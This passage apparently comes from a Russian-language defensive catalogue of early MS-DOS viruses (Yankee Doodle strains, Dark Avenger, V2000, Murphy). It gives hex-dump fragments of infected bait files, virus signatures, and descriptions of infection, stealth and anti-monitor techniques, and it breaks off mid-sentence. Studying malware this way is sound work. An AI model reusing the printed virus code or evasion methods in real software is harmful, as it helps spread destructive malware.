F47A2C0000003C00 BE0A909090909090 9090909090909090 9090909090909090 9090909090909090 9090601479026014 790256058C4253FF 00F00500B6643B13 DE006A002E833ED4 065C0770002E833E D4065C0770000000 2101000100016901 0000100000010002 CF02C711C711E60F 280EC711280EE60F C417C711C711E60F 280EC711C711C711 C711E60F280E590D 280EE60FC711EF12 C4172C15EF12C711 C7112C15EF122C15 C51A2C15EF12C711 2C15C4172C15C417 C51A671CC51AC417 2C15EF122C15C51A 2C15EF12C7112C15 C417C711EF12E60F C711C711FFFF0505 0505050505050505 0505090905050505 0505050505050505 0909050505050505 0505050505050505 0605050505050505 06050505050909FE 067A7DFE06FB7D74 .. .. .. .. .. .. .. .. .. .. .. .. +----- начало инсталлятора вируса V E800005B81EBD4 072EC6875C00FFFC 2E80BF5B00007418 BE0A0003F3BF0001 B92000F3A40E2EFF B76400061E50EB13 .. .. .. .. .. .. .. .. .. .. .. .. 3146F826A10A0031 46FA26A10C003146 FC26A10E003146FE EB118BC1B908008D 76F033FFF336A58B C8EB0349EB9BD1EA 7202EB868BE55DC3 558BEC1E8E5E048E 460633DB268B0731 0783C30283FB1072 F3FF4604FF4606FF 4E0875E01F5DC355 8BEC1EB30133F633 C98B7E08037E0A4F 8EDFD02CD1D14F3B 7E0873F40BC97411 51FF7606FF7604E8 EBFE83C4068ED830 1C4683FE1072D0D0 E373CA1F5DC387DB 88CB8A998F38E7CD A19B3EEF86C89783 5234BE8C2129B1F9 C19B120409F34501 931DB0B9C6010692 375049E8D5719722 A6E64C50BE2A23BE 441DA1A66BA0E006 AA1AF62AC0022F75 99060F5B97023E64 7DC8506608C4FA92 8E64751BA61BB932 BD0B3E616DE0C4B9 29CA9C170821EAEE 7E85B1632AC37171 2CA0F28B590DF9D5 00F47A2C00 +----+ сигнатура ................ ................ ................ ............z=.. .z,...<......... ................ ..........`.y.`. y.V..BS......d;. ..j...>..\.p...> ..\.p...!.....i. ................ (...(........... (...........(.Y. (.........,..... ..,...,...,..... ,...,.....g..... ,...,...,.....,. ................ ................ ................ ................ .........z}...}t .. .. .. .. .. ....[.......\... ...[..t......... . .......d...P.. .. .. .. .. .. 1F.&...1F.&...1F .&...1F......... v.3..6.....I.... r.....].U....^.. F.3.&..1.......r ..F..F..N.u..].U .....3.3..~..~.O ...,..O;~.s...t. Q.v..v.........0 .F...r...s..]... .....8....>..... R4..!)........E. ........7PI..q." ..LP.*#.D...k... ...*../u...[..>d }.Pf.....du....2 ..>am...)....!.. ~..c*.qq,...Y... ..z,. 5.3.3.2. Вирус RCE-2680 (ТР-33, Yankee Doodle-21 -- Янки дудль-21) Этот штамм, по-видимому, является первым представителем подгруппы самоедов. Именно в нем была добавлена часть, обеспечивающая восстановление оригинального кода вируса при изменении до 16 последовательных байтов (с помощью самокорректирующегося кода Хемминга). Вирус играет мелодию Янки Дудль в 17 часов. Исторические замечания. Данный вирус распространялся на вирусной дискете В.Бончева в файле TP33VIR.COM, датированном 17 февраля 1989 г. Фрагмент дампа дрозофилы, зараженной вирусом RCE-2680 0100 0110 0120 0130 0140 0150 0160 0170 0180 0190 01A0 01B0 01C0 01D0 01E0 01F0 0200 0210 0220 0230 0240 0250 ... 07A2 07B0 07C0 ... 0B90 0BA0 0BB0 E99F069090909090 9090909090909090 ................ 9090909090909090 9090909090909090 ................ 9090909090909090 9090909090909090 ................ 9090909090909090 90909090909090C3 ................ 4D0800AF00000000 0000000000000000 M............... 6002FD1660147402 5605631353FF00F0 `...`.t.V.c.S... 20000500BB916A13 0000C60052002EC6 .....j.....R... 5C077000558B5C07 7000010001909090 \.p.U.\.p....... 9090909090909090 90909087DB87DB90 ................ 6402C711C711E60F 280EC711280EE60F d.......(...(... C417C711C711E60F 280EC711C711C711 ........(....... C711E60F280E590D 280EE60FC711EF12 ....(.Y.(....... C4172C15EF12C711 C7112C15EF122C15 ..,.......,...,. C51A2C15EF12C711 2C15C4172C15C417 ..,.....,...,... C51A671CC51AC417 2C15EF122C15C51A ..g.....,...,... 2C15EF12C7112C15 C417C711EF12E60F ,.....,......... C711C711FFFF0505 0505050505050505 ................ 0505090905050505 0505050505050505 ................ 0909050505050505 0505050505050505 ................ 0605050505050505 0605050505090950 ...............P 53B800008EC026C4 1C895D028C450426 S.....&...]..E.& 803FCF740A268B07 890526C707CD1C5B .?.t.&....&....[ .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. +---- начало инсталлятора вируса V E800005B81EB 65065053BB2100F8 C....[..e.PS.!.. B803C5CD215B7223 83FCF0721E2E8B97 ....![r#...r.... 0300428CD903D18E C28BF38BFEB9780A ..B...........x. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. 4390CFD2EF3B32E9 5F393E674E4B471B C....;2._9>gNKG. D22B7A58EC6C90D9 E60A21B50D5FB446 .+zX.l....!.._.F 40009391F47A2190 @....z!. +----+ сигнатура 5.3.3.3. Вирус RCE-2568 (ТР-34, Yankee Doodle-22 -- Янки дудль-22) Фрагмент дампа дрозофилы, зараженной вирусом RCE-2568 0100 0110 0120 0130 0140 0150 0160 0170 0180 0190 01A0 01B0 01C0 01D0 01E0 01F0 0200 0210 0220 0230 E98F069090909090 9090909090909090 9090909090909090 9090909090909090 6002FD1660147402 2000050093916A13 5C07700087EC5C07 9090909090909090 5402C711C711E60F C417C711C711E60F C711E60F280E590D C4172C15EF12C711 C51A2C15EF12C711 C51A671CC51AC417 2C15EF12C7112C15 C711C711FFFF0505 0505090905050505 0909050505050505 0605050505050505 53B800008EC026C4 9090909090909090 9090909090909090 9090909090909090 90909090909090C3 5605233C53FF00F0 0000B60042002EA3 7000010001909090 90909087DB87DB90 280EC711280EE60F 280EC711C711C711 280EE60FC711EF12 C7112C15EF122C15 2C15C4172C15C417 2C15EF122C15C51A C417C711EF12E60F 0505050505050505 0505050505050505 0505050505050505 0605050505090950 1C895D028C450426 ................ ................ ................ ................ `...`.t.V.#<S... .....j.....B... \.p...\.p....... ................ T.......(...(... ........(....... ....(.Y.(....... ..,.......,...,. ..,.....,...,... ..g.....,...,... ,.....,......... ................ ................ ................ ...............P S.....&...]..E.& 0240 ... 0792 07A0 07B0 ... 0AF0 0B00 0B10 0B20 0B30 0B40 803FCF740A268B07 890526C707CD1C5B .?.t.&....&....[ .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. +---- начало инсталлятора вируса V E800005B81EB 55065053BB2200F8 C....[..U.PS.".. B803C5CD215B7203 E9AE00598CC88ED8 ....![r....Y.... 8EC02E8A87070A2E A200018BC18B8F02 ................ .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. B7C5961AA5A87868 F4411F709A6E58DE ......xh.A.p.nX. FDBACD6400466F1B 9488E612AFB1F895 ...d.Fo......... 46A9D1AE675742D9 6A5B8E0E1F21D50A F...gWB.j[...!.. 4FFC427B17B1F9F2 684532D06EF9DDA4 O.B{....hE2.n... DC014D1AFC655125 DD88256102BD0D0C ..M..eQ%..%a.... 40009391F47A2290 @....z". +----+ сигнатура 5.3.3.4. Вирус RCE-2756 (ТР-38, Yankee Doodle-26 -- Янки дудль-26) В данном штамме добавлена логика, обеспечивающая обход фильтров, перехватывающих прерывание 21. Примененный прием основан на выполнении трассировки программ, "сидящих" на 21 прерывании до попадания в "оригинальный" обработчик MS DOS и запоминании соответствующего адреса. Кроме того, именно с этой версии наблюдается эффект "самоизлечения" зараженной программы при попытке трассировки ее на зараженной вирусом машине. Исторические замечания. Данный вирус распространялся на вирусной дискете В.Бончева в файле TP38VIR.COM, датированном 28 февраля 1989 г. Фрагмент дампа дрозофилы, зараженной вирусом 100 *** 120 130 140 150 160 170 180 190 1A0 1B0 1C0 1D0 1E0 1F0 200 210 220 230 240 250 260 270 ... 8DE 8E0 RCE-2756 E9DB079090909090 9090909090909090 ................ Последующие строки идентичны предыдущей *** 9090909090909090 9090909090909090 ................ 9090909090909090 90909090909090C3 ................ F47A260000004000 400A909090909090 .z&...@.@....... 9090909090909090 9090909090909090 ................ 9090909090909090 9090720EA0196014 ..........r...`. 74025605D656E008 A01920000500FABB t.V..V.... ..... 28140000DC006800 2EA35C07700087EC (.....h...\.p... 5C07700001000101 87DB87DB87DB87DB \.p............. 1000000100028102 C711C711E60F280E ..............(. C711280EE60FC417 C711C711E60F280E ..(...........(. C711C711C711C711 E60F280E590D280E ..........(.Y.(. E60FC711EF12C417 2C15EF12C711C711 ........,....... 2C15EF122C15C51A 2C15EF12C7112C15 ,...,...,.....,. C4172C15C417C51A 671CC51AC4172C15 ..,.....g.....,. EF122C15C51A2C15 EF12C7112C15C417 ..,...,.....,... C711EF12E60FC711 C711FFFF05050505 ................ 0505050505050505 0909050505050505 ................ 0505050505050909 0505050505050505 ................ 0505050505050605 0505050505050605 ................ 0505050909505333 C08EC026C41C895D .....PS3...&...] 028C450426803FCF 740A268B07890526 ..E.&.?.t.&....& C707CD1C5B58C356 57BE0400BF4800E8 ....[X.VW....H.. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. начало инсталлятора вируса ----+ V E800 ..U..t...R.QC... 005B81EBA107FC2E 80BF5600007418BE .[........V..t.. 8F0 .. BC0 BD0 BE0 BF0 C00 0A0003F3BF0001B9 2000F3A40E2EFFB7 .. .. .. .. .. .. .. .. .. .. .. .. F0435C6B7478F6AE 05B22AD44954519F DD99113FEAE02D2E 6DCC95C81233C43E 5A2B8B33E11C3E88 C4806AC3DEFF6F33 44223341E9BC133D CA1B92C402A0D2FD |F47A2600 +-----+ сигнатура ........ ....... .. .. .. .. .. .C\ktx....*.ITQ. ...?..-.m....3.> Z+.3..>...j...o3 D"3A...=........ .z&. 5.3.3.5. Вирус RCE-2901 (ТР-45, Yankee Doodle-2D -- Янки дудль-2D) Данный вирус отличается от TP-44 лишь незначительными деталями. Исторические замечания. Вирус распространялся на вирусной дискете В.Бончева в файле COMMAND.VIR. По-видимому вирус разработан весной 1989 г. Фрагмент дампа дрозофилы, зараженной вирусом RCE-2901 000: 010: 020: 030: 040: 050: 060: 070: 080: 090: 0A0: 0B0: 0C0: 0D0: 0E0: 0F0: 100: 110: 120: 130: 140: 150: 160: 170: ... 7A0: 7B0: 7C0: 7D0: 7E0: 7F0: ... B40: B50: B60: B70: B80: E906089090909090 9090909090909090 ................ 9090030090909090 9090909090909090 ................ 9090909090909090 9090909090909090 ................ F47A2D0000003000 C60A909090909090 .z-...0......... 9090909090909090 9090909090909090 ................ 9090909090909090 9090390398146014 ..........9...`. 640256059D1053FF 00F0050045002100 d.V...S.....E.!. DE006A009A87014A 9F5C0770009C2E8F ..j....J.\.p.... 06775C0770000000 2001000100013F01 .w\.p... .....?. 0000100000010002 CF02C711C711E60F ................ 280EC711280EE60F C417C711C711E60F (...(........... 280EC711C711C711 C711E60F280E590D (...........(.Y. 280EE60FC711EF12 C4172C15EF12C711 (.........,..... C7112C15EF122C15 C51A2C15EF12C711 ..,...,...,..... 2C15C4172C15C417 C51A671CC51AC417 ,...,.....g..... 2C15EF122C15C51A 2C15EF12C7112C15 ,...,...,.....,. C417C711EF12E60F C711C711FFFF0505 ................ 0505050505050505 0505090905050505 ................ 0505050505050505 0909050505050505 ................ 0505050505050505 0605050505050505 ................ 06050505050909FE 067A7DFE06FB7D74 .........z}...}t 05EA007C0000FC33 C08EC0BE2A7DBF4C ...|...3....*}.L 00A5A52683061304 02EA007C00008B04 ...&.......|.... 2DBC0072093D0800 9072038904C3B809 -..r.=...r...... .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. 06525153508B0E3C 008B163E00B80157 .RQSP..<...>...W E8D9FBB43EE8D4FB 8A0E580080F12080 ....>.....X... . E13FF6C1217411B8 01431E32ED8A0E58 .?..!t...C.2...X 00C55604E8BAFB1F B824251EC5163200 ..V......$%...2. E8AEFB1F8A165D00 B80133E8A3FB585B ......]...3...X[ 595A075DF9C359BA 00022E80BF5A0000 YZ.]..Y......Z.. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. F2DB996A6A37B0CE B3FBC50E2CD85FC4 ...jj7......,._. 4C99CE00A228B8B9 339F6B8B59C09A66 L....(..3.k.Y..f DBDB30252E0A0049 34C355356A362F79 ..0%...I4.U5j6/y 2B8E340D1D0D0629 F94636B8AD18F6AA +.4....).F6..... 00F47A2D00 ..z-. +----+ B-сигнатура 5.3.3.6. Вирус RCE-2932 (ТР-41, Yankee Doodle-29 -- Янки дудль-29) Разрушение или модификация данных в вирусе не предусмотрена. Длина вируса составляет 2932 (B74h) байт. Заражаются COM-файлы длиной от 20h до F247h байт и EXE-файлы любой длины. Код вируса практически полностью совпадает с кодом RCE-2885. Отличия от последнего сводятся к тому, что в 17.00 мелодия играется всегда. Фрагмент дампа дрозофилы, зараженной вирусом RCE-2932 000: 010: 020: 030: 040: 050: 060: 070: 080: 090: 0A0: 0B0: 0C0: 0D0: 0E0: 0F0: 100: 110: 120: 130: 140: 150: 160: ... 1E0: 1F0: 200: 210: 220: 230: ... B60: B70: B80: B90: BA0: E92F089090909090 9090030090909090 9090909090909090 F47A290000003000 9090909090909090 9090909090909090 640256059D1053FF 210000001701DC00 0089BFCE1B975C07 0000100000010002 280EC711280EE60F 280EC711C711C711 280EE60FC711EF12 C7112C15EF122C15 2C15C4172C15C417 2C15EF122C15C51A C417C711EF12E60F 0505050505050505 0505050505050505 0505050505050505 06050505050909FE 05EA007C0000FC33 00A5A52683061304 .. .. .. .. EC9C061E53500E1F 74358E5E0883BF02 F47A751881BF0800 D1EBD1EBD1EB03C3 585B1F079D5DCBE8 00A900017507FF4E .. .. .. .. 419EBF488A06A7BA B0BAA467FDFB369D A4276E3D35E3DC9E 805C01401F4CBCFC F47A2900 +-----+ сигнатура 9090909090909090 9090909090909090 9090909090909090 EE0A909090909090 9090909090909090 9090390398146014 00F0200005004500 72D0DF04555C0770 7000010001000101 B302C711C711E60F C417C711C711E60F C711E60F280E590D C4172C15EF12C711 C51A2C15EF12C711 C51A671CC51AC417 2C15EF12C7112C15 C711C711FFFF0505 0505090905050505 0909050505050505 0605050505050505 067A7DFE06FB7D74 C08EC0BE2A7DBF4C 02EA007C0000561E .. .. .. .. E8E4FF8CC8394608 0029752081BF0000 EE0A75108CD8D1EB 8ED8EB0B836E0205 F8008B460AFE065B 06FE0E5B0025FFFE .. .. .. .. 0A8993557831908F F825859828EEBB8E 472D3C7C5AE5D407 3DC3E86DA14C4554 ./.............. ................ ................ .z)...0......... ................ ..........9...`. d.V...S... ...E. !.......r...U\.p ......\.p....... ................ (...(........... (...........(.Y. (.........,..... ..,...,...,..... ,...,.....g..... ,...,...,.....,. ................ ................ ................ ................ .........z}...}t ...|...3....*}.L ...&.......|..V. .. .. .. .. ....SP.......9F. t5.^.....)u .... .zu.......u..... .............n.. X[...].....F...[ ....u..N...[.%.. .. .. .. .. A..H.......Ux1.. ...g..6..%..(... .'n=5...G-<|Z... .\.@.L..=..m.LET .z). 5.4. Группа Avenger Группа Avenger является одной из наиболее опасных групп вирусов. В настоящее время включает два вируса: RCE-1800 (Dark Avenger) и RCE-02000 (Bontchev). Предположительно оба вируса болгарской разработки. Код вирусов этой группы свидетельствует о глубоком знании разработчиком MS DOS. В них используется ряд нетривиальных методов маскировки и обхода простейших резидентных сторожей. 5.4.1. Вирус RCE-1800 (Dark Avenger -- Черный мститель; Eddie -- Эдди) Вирус RCE-1800 получил свое название в связи с тем, что в теле вируса содержатся две достаточно длинные текстовые строки: 1. "Eddie lives...somewhere in time" (в начале вируса, т.е. сра- зу после конца зараженного СOM-файла). 2. "This program was written in the city of Sofia (C) 1988-89 Dark Avenger". Формально RCE-1800 является файловым резидентным вирусом, поражающим как файлы типа СОМ, так и файлы типа EXE. Это первый попавший в СССР вирус, стратегия размножения которого предусматривает заражение программ не только при их выполнении, но и при других операциях доступа к соответствующим файлам. Поэтому, при отсутствии противодействия, RCE-1800 размножается гораздо быстрее ранее рассмотренных вирусов. Помимо заражения при запуске программ на выполнение, файлы заражаются при создании, переименовании, открытии и закрытии (прерывания 21-4Bh, 21-3Ch, 21-5Bh, 2156h, 21-3Dh, 21-2h). Такая стратегия размножения делает этот вирус весьма опасным, поскольку, если в зараженной системе запустить программу, систематически просматривающую файлы во всех подкаталогах (например, ревизор), то большая часть СOM- и EXE-файлов будет в результате заражена. При запуске зараженной программы вирус сначала проверяет наличие в оперативной памяти своей копии. При этом копия проверяется полностью и в случае обнаружения изменений с этого места в память записывается исходный код вируса. Это существенно затрудняет нейтрализацию вируса в оперативной памяти. Если вирус не нашел в оперативной памяти своей копии, то он загружается в верхнюю область системной памяти, а затем резервирует для себя участок памяти путем манипуляций с MCB и используя функции MS DOS (выделения, освобождения и изменения размеров выделенной памяти). При загрузке в старшие адреса памяти вирус затирает транзитную часть COMMAND.COM. Поэтому при первой же команде с консоли транзитная часть вызывается повторно, что и приводит к ее заражению. На фазе инсталляции вирус определяет расположение в ПЗУ обработчика прерывания 13h как для дискеты, так и для жесткого диска. Все необходимые сведения для этой цели он берет из векторов 40h и 41h, где содержатся, соответственно, адрес обработчика прерывания 13h в ПЗУ и адрес таблицы параметров для винчестера. Алгоритм определения адреса прерывания 13 в ПЗУ, используемый вирусом не универсален и он работает не для всех типов IBM-совместимых компьютеров. Помимо прерывания 13h, вирус перехватывает прерывания 21h и 27h. Прерывание 21h используется стандартным образом (отслеживаются приведенные выше подфункции), а прерыванием 27h вирус пользуется для того, чтобы проверять, не изменился ли вектор 21h, и при необходимости восстанавливать его. Вирус работоспособен на версиях 3.х и 4.х MS DOS. Проверка номера версии в теле вируса не выполняется. Зараженные COM-файлы увеличиваются в размере на 1800 байтов, причем дата их создания и атрибуты остаются неизменными. Заражение выполняется однократно. При заражении вирус дописывает свое тело в конец файла, вставляя в первые три байта команду перехода на начало вируса. Выравнивание на границу параграфа для COM-файлов не выполняется. Инфицируются COM-файлы длиной от 1775 (6Fh) до 63148 (F6ACh) байтов. В силу сказанного выше, COMMAND.COM является наиболее подверженной заражению данным вирусом программой. Для версии 3.3 зараженный COMMAND.COM имеет размер 27107 байтов (если его первоначальный размер был 25307 байтов). Очевидно, что при заражении не имеет значения, где расположен командный процессор, лишь бы диск был доступен для записи. Заражение EXE-файлов выполняется стандартно, за исключением того, что вирус не сохраняет в своем теле исходной длины заражаемого файла. Однако восстановление длины программы все же возможно, поскольку вирус запоминает в теле некоторый байт. При заражении EXEфайлов вирус дописывается в конец файла с выравниванием на границу параграфа (т.е. приращение длины колеблется в диапазоне 1800..1815 байтов). Инфицируются EXE-файлы длиной больше 1775 (6Fh) байтов. Помимо COM- и EXE-файлов, вирус иногда заражает файлы данных. Это свойство характерно не только для данного вируса, но и для лю- бого вируса, который заражает открываемые файлы. Зараженные таким образом файлы данных можно лечить обычным фагом, указав соответствующее расширение. Фаза проявления данного вируса связана с разрушением опеределенных секторов винчестера и наступает после определенного количества инсталляций вируса (запусков первой зараженной программы после перезагрузки системы, в ходе которых он становится резидентным). При зараженном COMMAND.COM количество инсталляций равно количеству перезагрузок машины после заражения. Вирус ведет счетчик инсталляций в байте со смещением 0Аh (10) бутсектора. Чтение бутсектора выполняется с помощью прерывания 25h, что возможно только для ОС, не поддерживающей диски размером более 32M. Сразу после очередной инсталляции вирус анализирует 2 байта (8-й и 10-й) бутсектора диска, с которого была запущена зараженная программа. Десятый байт используется в качестве счетчика, который вирус увеличивает на 1 при каждой инсталляции, сохраняя увеличенное значение в том же байте. При каждой 16-ой инсталляции он уничтожает содержимое одного из секторов винчестера (номер, по-видимому, выбирается случайно и зависит от значения 8-го байта бутсектора), записывая туда первые 512 байтов своего тела. При этом первые байты запорченного сектора будут содержать фразу "Eddie lives...somewhere in time", что позволяет выявить все уничтоженные сектора глобальным контекстным поиском по диску. При заражении файлов или уничтожении секторов вирус использует прерывание 13 "напрямую" -- управление передается в ПЗУ, минуя текущий обработчик прерывания. Это позволяет обходить проверки резидентных сторожей. Вирус предпринимает ряд мер по маскировке своего наличия в оперативной памяти. При старте любой программы вирус помечает программный сегмент как последний и становится невидимым для этой программы, по окончании работы программы вирус помечает программный сегмент как не последний. При завершении программы вирус восстанавливает первоначальное значение прерывания 21h, если оно было изменено программой. Вирус вставляет себя первым в цепочку программ, получающих управление по прерыванию 21h, а в дальнейшем не позволяет программам встать раньше него в указанном списке. Этот метод "всплытия" позволяет обойти простейшие резидентные сторожа. Вирус обходит контроль программ, следящих за прерыванием 13h, определяя значение этого вектора при инсталляции и в дальнейшем напрямую обращаясь по соответствующему адресу . Исторические замечания. Впервые вирус описал В.Бончев [13]. Если исходить из приведенной выше строки, то RCE-1800 имеет болгарское происхождение и написан в первой половине 1989 г. В Киеве появился вместе с компьютерами, приобретенными у одного из московских кооперативов в сентябре 1989 г. Одним из первых этот вирус выделил В.О.Ткаченко. Фактически данный вирус был первым вирусом, который мог уничтожать информацию в базах данных, а не только выполняемые файлы, и ряд организаций серьезно пострадали в результате повреждения вирусом их баз данных. Первые фаги для данного вируса не проверяли его наличие в оперативной памяти, поэтому наблюдались случаи, когда при запуске фага при резидентном вирусе фаг обнаруживал зараженный файл, "выкусывал" вирус, а при закрытии файла он снова оказывался зараженным. Более того, при запуске детектора или ревизора, не проверявших наличие вируса в оперативной памяти, заражались все проверявшиеся файлы, которые еще не были заражены. Поэтому основной особенностью борьбы с данным вирусом являлось быстрое распространение понимания необходимости нейтрализации резидентного вируса у разработчиков фагов и не менее быстрое понимание необходимости проводить "лечение", только загрузившись с эталонной, защищенной от записи дискеты, у пользователей. В силу особой опасности заражения данным вирусом многие организации перешли на сплошной входной контроль поступающего программного обеспечения. В Москве получил распространение штамм вируса, в котором сообщение "Eddie lives somewere in time" заменено на "B O R O D A мстит во времени". Неформальные названия. Полидетектор SCAN называет данный вирус "Dark Avenger virus [Dav]". Помимо приведенных в заголовке, используются названия Avenger (Мститель), Sofia (София), Diana (Диана). Последнее название связано с тем, что в теле вируса содержится строка "Diana P". Программные средства защиты. См. прил.1. Выявление поврежденных файлов можно выполнить с помощью глобального контекстного поиска по диску, обеспечиваемого, например, PCTools. Любые действия по анализу содержимого диска следует выполнять только при условии предварительной загрузки операционной системы с эталонной, защищенной по записи, дискеты. При исследовании вируса автор пренебрег этим правилом, запустив после заражения COMMAND.COM программу подсчета контрольных сумм и анализа каталогов на винчестере. В результате, оставаясь резидентным, вирус последовательно заразил порядка 50 COM- и EXE-файлов. Исходя из этого, легко представить себе последствия прогона батареи фагов на зараженной машине. Фрагмент дампа дрозофилы, зараженной вирусом RCE-1800 000: 010: *** 6F0: 700: 710: 720: 730: 740: 750: 760: 770: 780: ... D50: D60: D70: D80: D90: DA0: DB0: DC0: DD0: DE0: DF0: E955079090909090 9090909090909090 .U.............. 9090909090909090 9090909090909090 ................ последующие строки идентичны предыдущей *** 4564646965206C69 7665732E2E2E736F Eddie lives...so 6D65776865726520 696E2074696D6521 mewhere in time! 00009023121E8CC3 83C3102E039CFF06 ...#............ 2E899C53002E8B9C FD062E899C51008C ...S.........Q.. C383C3102E039C03 078ED32E8BA40107 ................ EA00000000BF0001 81C60507A4A58B26 ...............& 060033DB53FF64F5 E800005E81EE6B00 ..3.S.d....^..k. FC2E81BC05074D5A 740EFA8BE681C408 ......MZt....... 08FB3B26060073CD 5006561E8BFE33C0 ..;&..s.P.V...3. 508ED8C4064C002E 8984F4062E8C84F6 P....L.......... .. .. .. .. .. .. .. .. .. .. .. .. 164F072E8C1E5107 33DB8EDBC7068400 .O....Q.3....... EE028C0E86005A5B 581FC35053B462E8 ......Z[X..PS.b. 72FD8CC8484B8EDB F9131E03003BD872 r...HK.......;.r F55B58C3A15B07BA 1000F7E2C3546869 .[X..[.......Thi 732070726F677261 6D20776173207772 s program was wr 697474656E20696E 2074686520636974 itten in the cit 79206F6620536F66 6961202843292031 y of Sofia (C) 1 3938382D38392044 61726B204176656E 988-89 Dark Aven 6765720080FC0375 0F80FA807305EAC8 ger....u....s... 0EFD18EAC80EFD18 EAC80EFD18000121 ...............! 0090909090909090 ........ 5.4.2. Вирус RCE-02000 (V2000, Anti-Bontchev -- Анти-Бончев) Вирус RCE-2000 получил свое название в связи с тем, что в теле вируса содержатся две достаточно длинные текстовые строки: 1. "Zopy me -- I want to travel" (в начале вируса, т.е. сразу после конца зараженной программы). 2. "(c) 1989 by Vesselin Bontchev" (в конце тела вируса, т.е. в последнем блоке зараженного файла). По некоторым данным, вирус вызывает зависание MS DOS при запуске программм, содержащих строку "(c) 1989 by Vesselin Bontchev." В теле вируса имеется также строка "Диана П." (в альтернативной кодировке). Данный вирус является довольно сильно "доработанным" штаммом RCE-1800 и является первым попавшем в СССР вирусом, маскирующем приращение длины зараженных файлов. Маскировка основана на том, что вирус помечает зараженные файлы, проставляя значение 62 с. в дате создания файла, как вирусы венской группы (С-648) и при считывании. Контролируя функции MS DOS типа FindFirst и FindNext, используемые при просмотре оглавления командой DIR, вирус вычитает 2000 из значения поля длины таких элементов оглавления, тем самым маскируя увеличение длины зараженных файлов. Следует отметить, что оболочки типа Norton Commander самостоятельно интерпретируют содержимое секторов с каталогами, не используя указанных выше функций DOS. Для них этот метод маскировки не действует. Помимо маскироки увеличения длины зараженных файлов, вирус используется ряд недокументированных прерываний, что позволяет обходить слежение за прерываниями 13 и 26. Зараженные COM-файлы увеличиваются в размере точно на 2000 байтов, причем дата их создания и атрибуты остаются неизменными. Заражение выполняется однократно. При заражении вирус дописывает свое тело в конец файла, вставляя в первые три байта команду перехода на начало вируса. Выравнивание на границу параграфа для COM-файлов не выполняется. Инфицируются COM-файлы длиной от 1959 байтов. Заражение EXE-файлов характерно тем, что, несмотря на то, что вирус выполняет выравнивание всего тела на границу параграфа, приращение искусственно поддерживается постоянным и равным 2000 байтов. Инфицируются EXE-файлы длиной больше 2000 байтов. Стадия проявления, как и у вируса RCE-1800, состоит в уничтожении отдельных секторов диска (в них записывается нулевой сектор текущего диска). Если на диске имеются файлы, иммунизированные от вируса C-648, и имеющие длину менее 2000 байтов, то для таких файлов вирус показывает "сумашедшее" значение длины. Исторические замечания. Вирус обнаружен в Москве в апреле 1990 г. Автором вируса, по-видимому, является техно-крыса, скрывающаяся под псевдонимом Dark Avenger. Первым данный вирус исследовал Д.Н.Лозинский. Обработка RCE-02000 включена в AIDSTEST в апреле 1990 г. (начиная с версии 29 от 18.04.90). Неформальные названия. Полидетектор SCAN называет данный вирус "V2000". Кроме приведенных в заголовке, используют еще название Диана П. (в теле вируса содержится строка "Диана П."). Программные средства защиты. Данный вирус детектируется полидетектором SCAN. Рекомендуемые фаги приведены в прил.1. Выявление поврежденных вирусом файлов можно выполнить с помощью глобального контекстного поиска по диску, обеспечиваемого, например, PCTools. Любые действия по анализу содержимого диска следует выполнять только при условии предварительной загрузки операционной системы с эталонной, защищенной по записи, дискеты. Фрагмент дампа программы DUMY2008.COM, зараженной вирусом RCE-02000 000: 010: ... 7D0: 7E0: 7F0: 800: 810: 820: 830: 840: 850: 860: 870: 880: ... F00: E935089090909090 9090909090909090 .. .. .. .. 909090909090C31A 2D20492077616E74 656C000090511381 2E035C022E899C96 F88CC383C3102E03 EA00000000BF0001 060033DB53FF64F5 FC2EF69489072E81 8BE681C4C008FB3B 1E8BFE33C0508ED8 2E8884120886C43D 1E52B413CD2F5A1F .. .. .. .. 268B0E06002BFFBE 9090909090909090 9090909090909090 .. .. .. .. 5A6F7079206D6520 20746F2074726176 C6B5078CC383C310 F82E8B1C2E899C94 5C068ED32E8B6404 81C6BD07A4A58B26 E800005E81EE6300 BCBD074D5A740EFA 26060073C8500656 C5164C00B430CD21 1E03720CB413CD2F 2E8994A7072E8C9C .. .. .. .. 8907ACF2AE750D51 .5.............. ................ .. .. .. .. ........Zopy me - I want to trav el...Q.......... ..\............. ........\.....d. ...............& ..3.S.d....^..c. ...........MZt.. .......;&..s.P.V ...3.P....L..0.! .......=..r..../ .R.../Z......... .. .. .. .. &....+.......u.Q F10: F20: F30: F40: F50: F60: F70: F80: F90: FA0: 57B91100F3A65F59 00EBC6E8AAFDB451 D88EDB8B4503803D 438EC33D00107203 C8F3ABEB94286329 2056657373656C69 65762E0080FC0375 EC00F0EA26AF00F0 1490909090E90201 00558BECFF76069D 75EDEBE4C6061308 CD212BFF8BC74B13 5A72F43B7D0175A9 B80010B103D3E08B 2031393839206279 6E20426F6E746368 0F80FA807305EA59 EA75013E140001A3 84A8A0ADA0208F2E W....._Yu....... .......Q.!+...K. ....E..=Zr.;}.u. C..=..r......... .....(c) 1989 by Vesselin Bontch ev.....u....s..Y ....&....u.>.... ............. .. .U...v.. 5.5. Вирус RCE-1277 (Murphy -- Мерфи) Вирус RCE-1277 является очередным вирусом, разработанным в Болгарии, и получил свое название в связи с тем, что в теле вируса содержатся достаточно длинные текстовые строки: Hello, I'm Murphy. Nice to meet you friend. I'm written since Nov/Dec. Copywrite (c)1989 by Lubo & Ian, Sofia, USM Laboratory. Формально вирус RCE-1277 -- файловый резидентный вирус, поражающий как файлы типа СОМ, так и файлы типа EXE. Заражение происходит как при запуске программ на выполнение, так и при открытии файлов (21-3В, 21-4B, 21-6C). Вирус дописывает свое тело в конец файла. Заражает командный процессор, если он не имеет атрибута READ ONLY . Пораженный COMMAND.COM имеет размер 27107 байтов (если его первоначальный размер был 25307 байтов). При этом не имеет значения, где расположен командный процессор. Это связано с тем, что вирус при инсталляции затирает часть копии командного процессора. В результате он вызывается с диска, в процессе чего и происходит заражение. Файлы, имеющие атрибут READ ONLY, вирус не заражает. Проверка номера версии в теле вируса не выполняется. Тип файла определяется вирусом правильно, независимо от используемого расширения. Зараженные COM-файлы увеличиваются в размере на 1277 байтов, причем дата их создания и атрибуты остаются неизменными. Заражение выполняется однократно. При заражении вирус дописывает свое тело в конец файла, вставляя в первые три байта команду перехода на начало вируса. Выравнивания на 